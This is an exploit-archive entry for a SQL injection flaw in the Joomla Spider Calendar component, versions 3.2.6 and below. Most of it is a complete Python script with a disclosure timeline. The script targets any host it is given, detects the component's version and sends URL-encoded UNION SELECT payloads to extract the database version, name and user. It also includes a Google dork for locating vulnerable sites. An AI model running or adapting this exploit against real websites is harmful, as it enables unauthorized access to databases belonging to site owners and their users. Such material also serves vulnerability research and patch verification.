Joomla Spider Calendar component versions 3.2.6 and below suffer from a remote authenticated SQL injection vulnerability.
b2f23c07b9823a2b8e3c2c8f67c97ec1a0c328ca5c972a2d9a04edf32244055c
#!/usr/bin/env python
#
#
# Exploit Title : Joomla Spider Calendar <= 3.2.6 SQL Injection
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://web-dorado.com/
#
# Software Link : http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329
#
# Dork Google: inurl:option=com_spidercalendar
#
# Date : 2014-08-31
#
# Tested on : Windows 7 / Mozilla Firefox
# Linux / Mozilla Firefox
#
#
#
######################
#
# PoC Exploit:
#
# http://localhost/joomla/index.php?option=com_spidercalendar&calendar_id=1 [SQLi]
#
#
# "calendar_id" and "calendar" variables are not sanitized.
#
#
# Vulnerability Disclosure Timeline:
#
# 2014-08-31: Discovered vulnerability
# 2014-09-04: Vendor Notification
# 2014-09-05: Vendor Response/Feedback
# 2014-09-05: Vendor Fix/Patch
# 2014-09-05: Public Disclosure
import codecs
import httplib
import re
import sys
import socket
import optparse
banner = """
$$$$$\ $$\ $$$$$$\ $$\ $$\
\__$$ | $$ | $$ __$$\ \__| $$ |
$$ | $$$$$$\ $$$$$$\ $$$$$$\$$$$\ $$ | $$$$$$\ $$ / \__| $$$$$$\ $$\ $$$$$$$ | $$$$$$\ $$$$$$\
$$ |$$ __$$\ $$ __$$\ $$ _$$ _$$\ $$ | \____$$\ \$$$$$$\ $$ __$$\ $$ |$$ __$$ |$$ __$$\ $$ __$$\
$$\ $$ |$$ / $$ |$$ / $$ |$$ / $$ / $$ |$$ | $$$$$$$ | \____$$\ $$ / $$ |$$ |$$ / $$ |$$$$$$$$ |$$ | \__|
$$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ |$$ __$$ | $$\ $$ |$$ | $$ |$$ |$$ | $$ |$$ ____|$$ |
\$$$$$$ |\$$$$$$ |\$$$$$$ |$$ | $$ | $$ |$$ |\$$$$$$$ | \$$$$$$ |$$$$$$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$ |
\______/ \______/ \______/ \__| \__| \__|\__| \_______| \______/ $$ ____/ \__| \_______| \_______|\__|
$$ |
$$ |
\__|
$$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\
$$ __$$\ $$ | $$ | $$ ___$$\ $$ __$$\ $$ __$$\
$$ / \__| $$$$$$\ $$ | $$$$$$\ $$$$$$$\ $$$$$$$ | $$$$$$\ $$$$$$\ \_/ $$ | \__/ $$ | $$ / \__|
$$ | \____$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$ | \____$$\ $$ __$$\ $$$$$ / $$$$$$ | $$$$$$$\
$$ | $$$$$$$ |$$ |$$$$$$$$ |$$ | $$ |$$ / $$ | $$$$$$$ |$$ | \__| \___$$\ $$ ____/ $$ __$$\
$$ | $$\ $$ __$$ |$$ |$$ ____|$$ | $$ |$$ | $$ |$$ __$$ |$$ | $$\ $$ | $$ | $$ / $$ |
\$$$$$$ |\$$$$$$$ |$$ |\$$$$$$$\ $$ | $$ |\$$$$$$$ |\$$$$$$$ |$$ | \$$$$$$ |$$\ $$$$$$$$\ $$\ $$$$$$ |
\______/ \_______|\__| \_______|\__| \__| \_______| \_______|\__| \______/ \__|\________|\__|\______/
j00ml4 Spid3r C4l3nd4r >= 2.x <= 3.2.6 SQLi
Written by:
Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""
C0mm4nds = dict()
C0mm4nds['DB VERS'] = 'VERSION'
C0mm4nds['DB NAME'] = 'DATABASE'
C0mm4nds['DB USER'] = 'CURRENT_USER'
com_spidercalendar = "index.php?option=com_spidercalendar&calendar_id=1"
ver_spidercalendar = "administrator/components/com_spidercalendar/spidercalendar.xml"
vuln = 0
def cmdMySQL(cmd):
SqlInjList = [
# SQLi Spider Calendar 2.x
'%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
# SQLi Spider Calendar 3.0
'%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
# SQLi Spider Calendar 3.2.x
'%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
]
return SqlInjList
def checkProtocol(pr):
parsedHost = ""
PORT = m_oOptions.port
if pr[0:8] == "https://":
parsedHost = pr[8:]
if parsedHost.endswith("/"):
parsedHost = parsedHost.replace("/","")
if PORT == 0:
PORT = 443
PROTO = httplib.HTTPSConnection(parsedHost, PORT)
elif pr[0:7] == "http://":
parsedHost = pr[7:]
if parsedHost.endswith("/"):
parsedHost = parsedHost.replace("/","")
if PORT == 0:
PORT = 80
PROTO = httplib.HTTPConnection(parsedHost, PORT)
else:
parsedHost = pr
if parsedHost.endswith("/"):
parsedHost = parsedHost.replace("/","")
if PORT == 0:
PORT = 80
PROTO = httplib.HTTPConnection(parsedHost, PORT)
return PROTO, parsedHost
def connection(addr, url_string):
parsedHost = checkProtocol(addr)[1]
PROTO = checkProtocol(addr)[0]
try:
socket.gethostbyname(parsedHost)
except socket.gaierror:
print 'Hostname could not be resolved. Exiting'
sys.exit()
connection_req = checkProtocol(addr)[0]
try:
connection_req.request('GET', url_string)
except socket.error:
print('Connection Error')
sys.exit(1)
response = connection_req.getresponse()
reader = codecs.getreader("utf-8")(response)
return {'response':response, 'reader':reader}
if __name__ == '__main__':
m_oOpts = optparse.OptionParser("%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]")
m_oOpts.add_option('--host', '-H', action='store', type='string',
help='The address of the host running Spider Calendar extension(required)')
m_oOpts.add_option('--base', '-b', action='store', type='string', default="/",
help='base dir joomla installation, default "/")')
m_oOpts.add_option('--port', '-p', action='store', type='int', default=0,
help='The port on which the daemon is running (default 80)')
m_oOptions, remainder = m_oOpts.parse_args()
m_nHost = m_oOptions.host
m_nPort = m_oOptions.port
m_nBase = m_oOptions.base
if not m_nHost:
print(banner)
print m_oOpts.format_help()
sys.exit(1)
print(banner)
if m_nBase != "/":
if m_nBase[0] == "/":
m_nBase = m_nBase[1:]
if m_nBase[-1] == "/":
m_nBase = m_nBase[:-1]
else:
if m_nBase[-1] == "/":
m_nBase = m_nBase[:-1]
m_nBase = '/'+m_nBase+'/'
# Start connection to host for Joomla Spider Calendar vulnerability
response = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[0]
reader = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[1]
# Read connection code number
getcode = response.status
print("[+] Searching for Joomla Spider Calendar vulnerability...")
print("[+]")
if getcode != 404:
for lines in reader:
if not lines.find("You have an error in your SQL syntax;") == -1:
print("[!] Boolean SQL injection vulnerability FOUND!")
print("[+]")
print("[+] Detection version in progress....")
print("[+]")
try:
response = connection(m_nHost, m_nBase+ver_spidercalendar).values()[0]
reader = connection(m_nHost, m_nBase+ver_spidercalendar).values()[1]
getcode = response.status
if getcode != 404:
for line_version in reader:
if not line_version.find("<version>") == -1:
VER = re.compile('>(.*?)<').search(line_version).group(1)
VER_REP = VER.replace(".","")
if int(VER_REP[0]) == 1 or int(VER_REP) > 326:
print("[X] VERSION: "+VER)
print("[X] Joomla Spider Calendar <= 1 or >= 3.2.7 are not vulnerable")
sys.exit(1)
elif int(VER_REP[0]) == 2:
print("[+] EXTENSION VERSION: "+VER)
print("[+]")
for cmddesc, cmdsqli in C0mm4nds.items():
try:
response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[0]
reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[1]
getcode = response.status
if getcode != 404:
for line_response in reader:
if not line_response.find("h0m3l4b1t") == -1:
MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
if vuln == 0:
print("[!] "+m_nHost+" VULNERABLE!!!")
print("[+]")
print("[!] "+cmddesc+" : "+MYSQL_VER)
vuln = 1
except socket.error:
print('[X] Connection was lost please retry')
sys.exit(1)
elif int(VER_REP) == 30:
print("[+] EXTENSION VERSION: "+VER)
print("[+]")
for cmddesc, cmdsqli in C0mm4nds.items():
try:
response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[0]
reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[1]
getcode = response.status
if getcode != 404:
for line_response in reader:
if not line_response.find("h0m3l4b1t") == -1:
MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
if vuln == 0:
print("[!] "+m_nHost+" VULNERABLE!!!")
print("[+]")
print("[!] "+cmddesc+" : "+MYSQL_VER)
vuln = 1
except socket.error:
print('[X] Connection was lost please retry')
sys.exit(1)
elif int(VER_REP[0]) == 3:
print("[+] EXTENSION VERSION: "+VER)
print("[+]")
for cmddesc, cmdsqli in C0mm4nds.items():
try:
response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[0]
reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[1]
getcode = response.status
if getcode != 404:
for line_response in reader:
if not line_response.find("h0m3l4b1t") == -1:
MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
if vuln == 0:
print("[!] "+m_nHost+" VULNERABLE!!!")
print("[+]")
print("[!] "+cmddesc+" : "+MYSQL_VER)
vuln = 1
except socket.error:
print('[X] Connection was lost please retry')
sys.exit(1)
else:
print("[-] EXTENSION VERSION: Unknown :(")
sys.exit(0)
if vuln == 0:
# VERSION NOT VULNERABLE :(
print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall-")
sys.exit(1)
else:
sys.exit(0)
except socket.error:
print('[X] Connection was lost please retry')
sys.exit(1)
# NO SQL BLIND DETECTED
print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall")
sys.exit(1)
else:
print('[X] URL "'+m_nHost+m_nBase+com_spidercalendar+'" NOT FOUND')
sys.exit(1)